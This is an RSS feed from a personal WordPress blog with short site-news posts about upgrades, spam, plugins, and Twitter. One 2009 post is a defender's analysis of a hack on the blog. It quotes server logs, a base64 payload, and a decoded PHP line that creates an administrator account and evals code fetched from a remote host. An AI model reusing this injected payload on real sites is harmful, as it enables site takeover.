<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kelly&#039;s World- A View into the mind of Uber Geek, Kelly Adams &#187; Site news</title>
	<atom:link href="http://www.kgadams.net/category/sitenews/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kgadams.net</link>
	<description>Technology, computer games, MMOGs,  science...and other nerdy stuff</description>
	<lastBuildDate>Sat, 28 Jan 2012 22:44:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Server OS Upgrade</title>
		<link>http://www.kgadams.net/2011/12/04/server-os-upgrade</link>
		<comments>http://www.kgadams.net/2011/12/04/server-os-upgrade#comments</comments>
		<pubDate>Mon, 05 Dec 2011 07:22:18 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Site news]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mandriva]]></category>
		<category><![CDATA[rebuild]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/?p=1279</guid>
		<description><![CDATA[
<p>I shut down the site over the weekend and upgraded / migrated to a new server operating system.  Kelly&#8217;s World was running on Mandriva 2008.1 prior to today.  As of now, the site is live on a Fedora 16 server.   My main reason for performing the migration was to get an OS in place that [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicsitenews.gif' align='right' width='64' height='36' hspace='5' />
<p>I shut down the site over the weekend and upgraded / migrated to a new server operating system.  Kelly&#8217;s World was running on Mandriva 2008.1 prior to today.  As of now, the site is live on a Fedora 16 server.   My main reason for performing the migration was to get an OS in place that could be updated more consistently.</p>
<p><span id="more-1279"></span></p>
<p>I still have a lot of things to fix, but the basic functionality seems to be in place.  Hopefully you won&#8217;t notice any difference&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2011/12/04/server-os-upgrade/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A million visitors in 8 years</title>
		<link>http://www.kgadams.net/2011/03/05/a-million-visitors-in-8-years</link>
		<comments>http://www.kgadams.net/2011/03/05/a-million-visitors-in-8-years#comments</comments>
		<pubDate>Sat, 05 Mar 2011 18:19:30 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Site news]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[counting]]></category>
		<category><![CDATA[milestones]]></category>
		<category><![CDATA[web hits]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/?p=1219</guid>
		<description><![CDATA[
<p>I looked at the banner of my site today and see that Kelly&#8217;s World has broken the 1 million hits mark.  Whoopee, and so forth.</p>
<p></p>
<p>I would like to imagine that this number represents some count of real people visiting, but the reality is less pleasant.  I&#8217;d guesstimate that about 99% of the visits to my site [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicsitenews.gif' align='right' width='64' height='36' hspace='5' />
<p>I looked at the banner of my site today and see that Kelly&#8217;s World has broken the 1 million hits mark.  Whoopee, and so forth.</p>
<p><span id="more-1219"></span></p>
<p>I would like to imagine that this number represents some count of real people visiting, but the reality is less pleasant.  I&#8217;d guesstimate that about 99% of the visits to my site are some combination of spambots and web crawling robots.  For those of you reading this who can comprehend what I&#8217;m saying: thanks for being a real human being taking an interest in something I have to say.</p>
<p>I appreciate the time you spend here, and hope you visit again often.  As for the spambots, scripts, and webcrawlers: 0110101101101001011100110111001100100000011011010111100100100000011000010111001101110011</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2011/03/05/a-million-visitors-in-8-years/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting tough on spam users…</title>
		<link>http://www.kgadams.net/2011/01/29/getting-tough-on-spam-users</link>
		<comments>http://www.kgadams.net/2011/01/29/getting-tough-on-spam-users#comments</comments>
		<pubDate>Sat, 29 Jan 2011 20:30:26 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Rants]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[akismet]]></category>
		<category><![CDATA[anti-spam]]></category>
		<category><![CDATA[bad behavior]]></category>
		<category><![CDATA[blog registration]]></category>
		<category><![CDATA[blog security]]></category>
		<category><![CDATA[comment spam]]></category>
		<category><![CDATA[dumb]]></category>
		<category><![CDATA[prevent registration spam]]></category>
		<category><![CDATA[recaptcha]]></category>
		<category><![CDATA[registration spam]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[spam karma]]></category>
		<category><![CDATA[users]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[wordpress security]]></category>
		<category><![CDATA[wordpress tips]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/?p=1200</guid>
		<description><![CDATA[
<p>I run a simple little blog here.  I don&#8217;t make any money off of my site even, although I&#8217;m not adverse to doing so as long as it isn&#8217;t obtrusive.  I don&#8217;t sell anything, nor do accept submissions other than comments.  The posts here are my own: they aren&#8217;t scraped, syndicated from, or re-posted from anywhere [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicrants.gif' align='right' width='66' height='90' hspace='5' />
<p>I run a simple little blog here.  I don&#8217;t make any money off of my site even, although I&#8217;m not adverse to doing so as long as it isn&#8217;t obtrusive.  I don&#8217;t sell anything, nor do accept submissions other than comments.  The posts here are my own: they aren&#8217;t scraped, syndicated from, or re-posted from anywhere else.  Mostly, this site is a vanity site, like a billion others on the Internet.</p>
<p>Despite the complete lack of commercial value to my site, it gets spammed.  Comment spam was a problem a few years ago, and I&#8217;ve managed that via <a href="http://wordpress.org/extend/plugins/akismet/">Akismet</a> and <a href="http://wordpress.org/extend/plugins/bad-behavior/">Bad Behavior</a> plugins for WordPress.  There are still about about 100 spam comments a day hitting my site, but only one or two make it through my watchdogs.  Lately, however, there has been a new irritant: spam users.</p>
<p><img title="stupid_people.jpg" src="http://www.kgadams.net/wp-content/uploads/2011/01/stupid_people.jpg" border="0" alt="never_underestimate_stupid" width="275" height="183" /></p>
<p><span id="more-1200"></span>
<p>Starting about two months ago, my site has been getting about 50 new user registrations per day.  These registrations have obviously fake user names like &#8220;AAdaeFAe&#8221;, and email addresses mostly originating in Russia or China.  I made an initial stab at stemming the tide a couple of weeks ago by adding a plugin that was supposed to require the registrant to correctly enter a reCAPTCHA code before they could submit- unfortunately, it didn&#8217;t work properly.  But I don&#8217;t give up easily, especially when my inbox is filling with &#8220;New User&#8221; messages.</p>
<p>I now have <a href="http://wordpress.org/extend/plugins/wp-recaptcha/">a working reCAPTCHA plugin</a>, as well as <a href="http://wordpress.org/extend/plugins/user-spam-remover/">an automatic inactive user pruner</a>.  If a user manages to successfully create a user ID, and doesn&#8217;t post at least one comment within a certain time frame, their ID will be removed.  This should clear up my user database fairly quickly: it already deleted nearly 900 IDs on the first pass.</p>
<p>The thing I don&#8217;t understand about this latest round of spam is: why?  What possible benefit does a registered user have on a normal WordPress site?  I guess it would be useful if, for example, I had my site set up to permit registered users to post unmoderated comments- but I don&#8217;t.  A user has to submit a comment that I approve before they can submit future comments: thus far, no automated bots have made their way through the simple process of me looking for signs of intelligence in their posts.  And you don&#8217;t need to register at all to go through this process on my site: an unregistered user can attempt to post a comment as well, and it goes through exactly the same moderation process.</p>
<p><img title="hurr.jpg" src="http://www.kgadams.net/wp-content/uploads/2011/01/hurr.jpg" border="0" alt="Hurr... confused looking dog" width="600" height="454" /></p>
<p>I suppose the best explanation I can come up with is this.  In modern society, rattling the door knob on a house to see if you can get in is kind of pointless: 99.999% of the time it will be locked.  It is therefore by definition a stupid way to try to gain entry.  But because of the wonders of automation, hackers and spammers can rattle billions of door knobs a day: en masse, it becomes a less stupid strategy.  Unfortunately, it becomes vastly more irritating&#8230;</p>
<p> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2011/01/29/getting-tough-on-spam-users/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Site updates in progress&#8230;</title>
		<link>http://www.kgadams.net/2010/10/30/site-updates-in-progress</link>
		<comments>http://www.kgadams.net/2010/10/30/site-updates-in-progress#comments</comments>
		<pubDate>Sat, 30 Oct 2010 19:10:20 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Site news]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/?p=1166</guid>
		<description><![CDATA[
<p>UPDATE: I&#8217;ve completed the WordPress upgrades, including an update to the site theme and correction of a problem with my &#8220;Archives&#8221; page.  I&#8217;m expecting to find some problems over the course of the next day or two but, for now at least, it appears that the basics are all working</p>
<p></p>
<p>I&#8217;m performing one of my periodic [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicsitenews.gif' align='right' width='64' height='36' hspace='5' />
<p><strong>UPDATE</strong>: <em>I&#8217;ve completed the WordPress upgrades, including an update to the site theme and correction of a problem with my &#8220;Archives&#8221; page.  I&#8217;m expecting to find some problems over the course of the next day or two but, for now at least, it appears that the basics are all working</em></p>
<p><span id="more-1166"></span></p>
<p>I&#8217;m performing one of my periodic &#8220;oh my goodness, my WordPress site code is out of date!&#8221; updates today.  While I do this, the site may be variously offline, funny-looking, or basically borked.  Please accept my apologies and feel free to partake of one of the several billion other websites on the Internet during this disruption.  Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2010/10/30/site-updates-in-progress/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hooking Facebook into my Blog</title>
		<link>http://www.kgadams.net/2010/04/03/hooking-facebook-into-my-blog</link>
		<comments>http://www.kgadams.net/2010/04/03/hooking-facebook-into-my-blog#comments</comments>
		<pubDate>Sat, 03 Apr 2010 18:35:13 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Site news]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[plugins]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2010/04/03/hooking-facebook-into-my-blog</guid>
		<description><![CDATA[
<p>I&#8217;ve been using Facebook (or &#8220;Bookface&#8221;, as my nephew Shane calls it) fairly regularly lately. Today I decided to see what could be done to integrate my blog and Facebook a bit. I read the &#8220;how to&#8221; guide by Thiemo Fetzer, and now I have Yet Another WordPress Widget in the left nav of my site.</p>
<p>Nothing [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicsitenews.gif' align='right' width='64' height='36' hspace='5' />
<p>I&#8217;ve been using Facebook (or &#8220;Bookface&#8221;, as my nephew Shane calls it) fairly regularly lately. Today I decided to see what could be done to integrate my blog and Facebook a bit. I read <a href="http://www.smashingmagazine.com/2009/09/14/how-to-integrate-facebook-with-wordpress/" target="_blank">the &#8220;how to&#8221; guide by Thiemo Fetzer</a>, and now I have Yet Another WordPress Widget in the left nav of my site.</p>
<p>Nothing has changed for &#8220;normal&#8221; users of my site. For folks who regularly use Facebook, however, you now have an option. You can click on the &#8220;Login using Facebook&#8221; option, and your authentication will be handled via Facebook (i.e.: you log in using your Facebook credentials). KellysWorldBlog will be added to your application list once you&#8217;ve logged in once. Assuming I understand the application correctly, you won&#8217;t automatically receive anything from my site simply by using your Facebook login. I (or any visitor) can, however, click the &#8220;facebook share&#8221; icon to share individual blog posts on my wall.</p>
<p>What benefits does this give? Well, I guess you don&#8217;t need to remember your ID on my blog any more, and your Facebook icon will now appear next to the comments you post. But the main thing this does is allow for easy sharing of my blog posts with your friends.</p>
<p><span id="more-1092"></span>
<p>In theory, this simplified &#8220;sharing&#8221; might get some new visitors to my blog- I&#8217;m not holding my breath about that, however. I&#8217;m inclined to believe that my blog has a rather specialized audience- I don&#8217;t do anything in particular to make my posts widely consumable, and most of it is only of interest to a handful of people who are friends and family, or who&#8217;s interests occasionally intersect some of mine.</p>
<p>Configuring the plugin is a bit odd, however: to make this work, I had to become a Facebook developer and create an application. Not much of an application, mind you: basically just a link for Facebook to work through for sharing data.</p>
<p>I guess the other main reason for doing this is that, like a lot of stuff I do, it satisfies my geek curiosity. I wanted to see how it would work, and once installed I wondered if anyone would actually use it. And it is sufficiently complicated that it activated a few parts of my brain that were dozing on an Easter weekend Saturday&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2010/04/03/hooking-facebook-into-my-blog/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Problems with my blog&#8230; blank gallery (photo) pages</title>
		<link>http://www.kgadams.net/2010/02/23/problems-with-my-blog-blank-gallery-photo-pages</link>
		<comments>http://www.kgadams.net/2010/02/23/problems-with-my-blog-blank-gallery-photo-pages#comments</comments>
		<pubDate>Wed, 24 Feb 2010 02:07:28 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Site news]]></category>
		<category><![CDATA[atahualpa]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[Site]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2010/02/23/problems-with-my-blog-blank-gallery-photo-pages</guid>
		<description><![CDATA[
<p></p>
<p>I was doing some work on my server today and noticed some errors in my logs of the following form:</p>

<p>Feb 23 16:04:45 kgadams httpd: PHP Fatal error: Call to undefined function bodyclasses() in /xxx/wpg2header.php on line 848</p>

<p>The problem appears to relate to an upgrade I performed several months ago in the Atahualpa WordPress theme I use. [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicsitenews.gif' align='right' width='64' height='36' hspace='5' />
<p><!--nevermore--></p>
<p>I was doing some work on my server today and noticed some errors in my logs of the following form:</p>
<blockquote>
<p>Feb 23 16:04:45 kgadams httpd: PHP Fatal error: Call to undefined function bodyclasses() in /xxx/wpg2header.php on line 848</p>
</blockquote>
<p>The problem appears to relate to an upgrade I performed several months ago in the <a href="http://wordpress.bytesforall.com/">Atahualpa</a> WordPress theme I use. The result was that any attempt to open a gallery page (i.e.: to look at my photos while visiting my blog) would result in a blank page&#8230; and the above error appearing in my server logs.</p>
<p>I&#8217;ve corrected the problem, but am disappointed that I didn&#8217;t even notice an issue that has probably existed since at least January. Ah well, ignorance is bliss I guess&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2010/02/23/problems-with-my-blog-blank-gallery-photo-pages/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress SQL injection hack: watch for=&gt;  %&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&amp;%/</title>
		<link>http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer</link>
		<comments>http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer#comments</comments>
		<pubDate>Fri, 04 Sep 2009 23:09:06 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[sql-injection]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer</guid>
		<description><![CDATA[
<p></p>
<p>If you are running a WordPress based blog like I am and suddenly notice your post URLs have something &#8220;extra&#8221; appended (see the subject line), your blog has been hacked.</p>
<p>You can read more about it here (thanks, UCLABoyz, thanks schang!), where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>If you are running a WordPress based blog like I am and suddenly notice your post URLs have something &#8220;extra&#8221; appended (see the subject line), your blog has been hacked.</p>
<p><a href="http://www.warriorforum.com/main-internet-marketing-discussion-forum/121131-wordpress-mysql-injection-latest-attack-eval-base64_decode-_server-http_referer.html" target="_blank">You can read more about it here (thanks, UCLABoyz, thanks schang!)</a>, where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the hack works on all versions of WordPress up to and including the most recent.</p>
<p>I have BadBehavior installed on my blog, and so it was rejecting the URLs with this addition which I *think* would be thwarting the hackers involved: they hadn&#8217;t been able to create an administrative user. Unfortunately, it also meant none of my blog posts were working properly until I noticed the problem and corrected it.</p>
<p>Hopefully WordPress will issue a fix for this soon- in the mean time, keep an eye on your URLs, WordPress bloggers!</p>
<p><b>UPDATE</b>: <a href="http://wordpress.org/support/topic/307518" target="_blank">Another link to a lengthy thread regarding this hack on the WordPress.org site</a>. What is interesting here is the apparent vector: a weakness in the WordPress code, apparently up to and including the most recent release, that permits an ordinary subscriber (i.e.: not an administrative user) to run some administrator features e.g.: changing the permalinks.</p>
<p><b>UPDATE #2</b>: it appears that updating to the most recent version of WordPress (2.8.4) removes the &#8220;double slash&#8221; vector for running some admin commands (notably permalink.php). This fix was apparently added somewhere between WordPress version 2.8 and 2.8.4.</p>
<p>I&#8217;ve included some extracts from my server logs and further thoughts below&#8230;</p>
<p>&nbsp;&nbsp;</p>
<p><span id="more-966"></span>
<p>Here are the &#8220;smoking gun&#8221; entries from my log files:</p>
<blockquote>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:45 -0700] &#8220;GET /wp-login.php HTTP/1.1&#8243; 200 907 &#8220;http://www.kgadams.net/&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:47 -0700] &#8220;POST /wp-login.php HTTP/1.1&#8243; 302 20 &#8220;http://www.kgadams.net/wp-login.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:50 -0700] &#8220;GET /wp-admin/ HTTP/1.1&#8243; 200 8117 &#8220;http://www.kgadams.net/wp-login.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:52 -0700] &#8220;GET /wp-admin//options-permalink.php HTTP/1.1&#8243; 200 4145 &#8220;http://www.kgadams.net/wp-admin//options-permalink.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:55 -0700] &#8220;POST /wp-admin//options-permalink.php HTTP/1.1&#8243; 200 4230 &#8220;http://www.kgadams.net/wp-admin//options-permalink.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:57 -0700] &#8220;POST /xmlrpc.php HTTP/1.1&#8243; 403 521 &#8220;JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdMYXphcm9LaW1tb25zODUnOyR1c2VyX3Bhc3M9JzJtZXprYVRUZG1WcCc7ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2xpbmtzLndlYndvcmRwcmVzcy5jbi9kYXRhL3Nob3J0cGFydDIudHh0JykpO2V4aXQ7&#8243; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>
</p></blockquote>
<p>I don&#8217;t have details of what the user at IP address &#8217;189.54.17.207&#8242; (registered in Latin America) was doing with the first three actions calling wp-login.php, but I&#8217;m guessing creating a normal subscriber ID and logging in. Action #4 and #5 above, the call to /wp-admin//options-permalink.php (note the double &#8220;//&#8221;) is where the permalink was changed. The revised permalink includes an &#8216;eval&#8217; statement- that executes (runs as a program) what follows, which is a base 64 decode of the referrer string.</p>
<p>The final step is an attempt to use xmlrpc.php to execute the encoded string. The encoded string, decoded, looks like this:</p>
<blockquote>
<p>$role=&#8217;administrator&#8217;;$user_login=&#8217;LazaroKimmons85&#8242;;$user_pass=&#8217;2mezkaTTdmVp&#8217;;eval(file_get_contents(&#8216;http://links.webwordpress.cn/data/shortpart2.txt&#8217;));exit;</p>
</blockquote>
<p>What this is doing is setting a few PHP variables then executing the code retrieved from http://links.webwordpress.cn/data/shortpart2.txt. That little bit of code creates the administrative user and, from what I understand, hides it.</p>
<p>In the case of my site, the hacked permalink seems to have been blocked- I&#8217;m not sure whether by BadBehavior or something else I have installed. So the hack was half-successful: the permalink was installed, but using the permalink generated an error.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>I have Gravatars?</title>
		<link>http://www.kgadams.net/2009/06/12/i-have-gravatars</link>
		<comments>http://www.kgadams.net/2009/06/12/i-have-gravatars#comments</comments>
		<pubDate>Sat, 13 Jun 2009 05:49:57 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[automattic]]></category>
		<category><![CDATA[gravatar]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/06/12/i-have-gravatars</guid>
		<description><![CDATA[
<p></p>
<p>I installed a new WordPress theme several weeks ago. I noticed a couple of days ago that posts had funny looking &#8220;blank portrait&#8221; images beside them. I right clicked on them, and noticed that the images were linked to Gravatar. I remember reading about &#8220;Gravatars&#8221; (globally recognized avatars) quite some time ago, but I more or [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>I installed a new WordPress theme several weeks ago. I noticed a couple of days ago that posts had funny looking &#8220;blank portrait&#8221; images beside them. I right clicked on them, and noticed that the images were linked to <a href="http://en.gravatar.com/" target="_blank">Gravatar</a>. I remember reading about &#8220;Gravatars&#8221; (globally recognized avatars) quite some time ago, but I more or less dismissed it as not relevant to my interests. I think when I read about it, there may have even been charges associated with the service</p>
<p>Well, apparently it is relevant to my interests now. <a href="http://en.wikipedia.org/wiki/Automattic" target="_blank">Automattic</a> (the company responsible for WordPress) has <a href="http://en.wikipedia.org/wiki/Gravatar" target="_blank">acquired the service</a>, and now you can set yourself up there for free. If go to the <a href="http://en.gravatar.com/" target="_blank">Gravatar site</a> or alternately have an account on <a href="http://wordpress.com/" target="_blank">WordPress.com</a>, you can associate an image with your email address&#8230; or apparently several images with several different email addresses. Anyway, once you&#8217;ve done that, if you use that same email address to identify yourself on a blog or website that supports Gravatars, your image will appear there without further setup.</p>
<p>All of this was news to me, but apparently Gravatar support is actually &#8220;baked in&#8221; to WordPress since version 2.5, and any &#8220;compliant&#8221; WordPress theme inherits this support. I didn&#8217;t notice it earlier probably because I was using a non-standard theme. None of this probably means much to most of my visitors but&#8230; I found it intriguing to discover something I had completely missed. Sort of like discovering an old friend of yours has been hand carving collectable duck decoys for years and you never had a clue they did any such thing. Exactly like that&#8230; except completely different.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/06/12/i-have-gravatars/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shifting my Twits around</title>
		<link>http://www.kgadams.net/2009/05/26/shifting-my-twits-around</link>
		<comments>http://www.kgadams.net/2009/05/26/shifting-my-twits-around#comments</comments>
		<pubDate>Wed, 27 May 2009 06:51:19 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[follow cost]]></category>
		<category><![CDATA[milliscoble]]></category>
		<category><![CDATA[phil plait]]></category>
		<category><![CDATA[tweets]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[wil wheaton]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/05/26/shifting-my-twits-around</guid>
		<description><![CDATA[
<p>I&#8217;ve moved my Twitter feed from the right side to the left side navigation area on this page. The &#8220;balance&#8221; was starting to bug me (i.e.: too much vertical &#8220;stuff&#8221; on the right versus the left), and for some reason it just seems to make more sense under &#8220;recent comments&#8221; then above my photo gallery block.</p>
<p>I [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p>I&#8217;ve moved my Twitter feed from the right side to the left side navigation area on this page. The &#8220;balance&#8221; was starting to bug me (i.e.: too much vertical &#8220;stuff&#8221; on the right versus the left), and for some reason it just seems to make more sense under &#8220;recent comments&#8221; then above my photo gallery block.</p>
<p>I have not yet really slowed down my rate of &#8220;tweeting&#8221; yet: by the way, I prefer calling individual Twitter posts &#8220;twits&#8221;, but apparently that is bad form- sorry. I started on May 14th, and I&#8217;m posting somewhere around six to eight updates per day. if you look at my <a href="http://followcost.com/adamskg" target="_blank">follow cost</a> I seem to have stabilized at just below 400 <a href="http://followcost.com/about/milliscoble" target="_blank">milliscobles</a>. I&#8217;m not feeling any compulsion to tweet: I just do so when something catches my eye and I think other folks might want to hear about it. Probably my main &#8220;vanity&#8221; when tweeting is that I respond to a few people like <a href="http://twitter.com/BadAstronomer" target="_blank">badastronomer</a> (Phil Plait) and <a href="http://twitter.com/wilw" target="_blank">wilh</a> (Wil Wheaton) on occasion. In part I do this because I&#8217;m hoping they might say something back- but generally I actually *do* have a question, I just probably would never have the courage to ask them to their face. &nbsp;&nbsp;</p>
<p><span id="more-891"></span>
<p>I think that is the most intriguing thing for me about Twitter: the fact that you can have a sort of disjointed, quasi-real time conversation with someone whom you would normally never interact. I don&#8217;t necessarily mean someone &#8220;famous&#8221;, but that has its appeal. Twitter has a bit more immediacy than, say, a forum (bulletin board), and there is much more of a &#8220;conversation&#8221; going on than with a blog. I have only received a couple of responses to my queries to other Twitter users, but those were sufficient to feed my interest. In that way, I&#8217;d say it is somewhat like the thrill some people get from playing slot machines: the reward in this case is becoming part of a conversation, and what you are gambling is the exposure you risk by making some of your more immediate (and less well considered) thoughts public.</p>
<p>And it is okay that the conversation is often very one-sided. I&#8217;ll use the example of <a href="http://en.wikipedia.org/wiki/Wil_Wheaton" target="_blank">Wil Wheaton</a> for illustration purposes. I learned long ago from <a href="http://wilwheaton.typepad.com/" target="_blank">Wil Wheaton&#8217;s website</a> that he is a much more &#8220;real&#8221; person than I thought he might be based on his Wesley Crusher character from Star Trek TNG. But via his Tweets I&#8217;ve discovered that he plays D&amp;D, enjoys an occasional beer, and roots for his favorite hockey team. These aren&#8217;t canned, crafted, by the script messages (although you find some of that on Twitter), and the spontaneity is sometimes quite&#8230; refreshing. The conversation feels more like what you might hear in a brief chat at a bar or party if you ran into these people. And I suppose that is the point: the enforced brevity of the message strips away the formality of the longer forms.</p>
<p>I guess what I&#8217;m saying is that I&#8217;m starting to &#8220;get&#8221; Twitter. I can certainly understand not wanting anything to do with it, or simply not seeing the point. But like a lot of things, now that I&#8217;ve tried it I find the reality is more intriguing than my speculation and critical analysis previously led me to conclude.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/05/26/shifting-my-twits-around/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Cat banner&#8230;</title>
		<link>http://www.kgadams.net/2009/05/26/cat-banner</link>
		<comments>http://www.kgadams.net/2009/05/26/cat-banner#comments</comments>
		<pubDate>Tue, 26 May 2009 07:00:02 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Critters]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[banner]]></category>
		<category><![CDATA[Cats]]></category>
		<category><![CDATA[photos]]></category>
		<category><![CDATA[photoshop]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/05/26/cat-banner</guid>
		<description><![CDATA[
<p></p>
<p>I have added a cat banner which will appear periodically at the top of this page, along with my various tree and flower images. Here is a teeny tiny version for your enjoyment:</p>

  

<p>A couple of notes about these &#8220;rotating&#8221; images</p>

if you have Javascript enabled, the image should rotate (change) every 20 seconds. If you [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic3.gif' align='right' width='73' height='77' hspace='5' />
<p><!--nevermore--></p>
<p>I have added a cat banner which will appear periodically at the top of this page, along with my various tree and flower images. Here is a teeny tiny version for your enjoyment:</p>
<div style="text-align: center;">
  <img src="http://www.kgadams.net/wp-content/uploads/2009/05/cat-banner.jpg" width="480" height="37" alt="cat_banner.jpg" />
</div>
<p>A couple of notes about these &#8220;rotating&#8221; images</p>
<ul>
<li>if you have Javascript enabled, the image should rotate (change) every 20 seconds. If you don&#8217;t have Javascript enabled, the image will change each time you refresh the page or navigate to a new one</li>
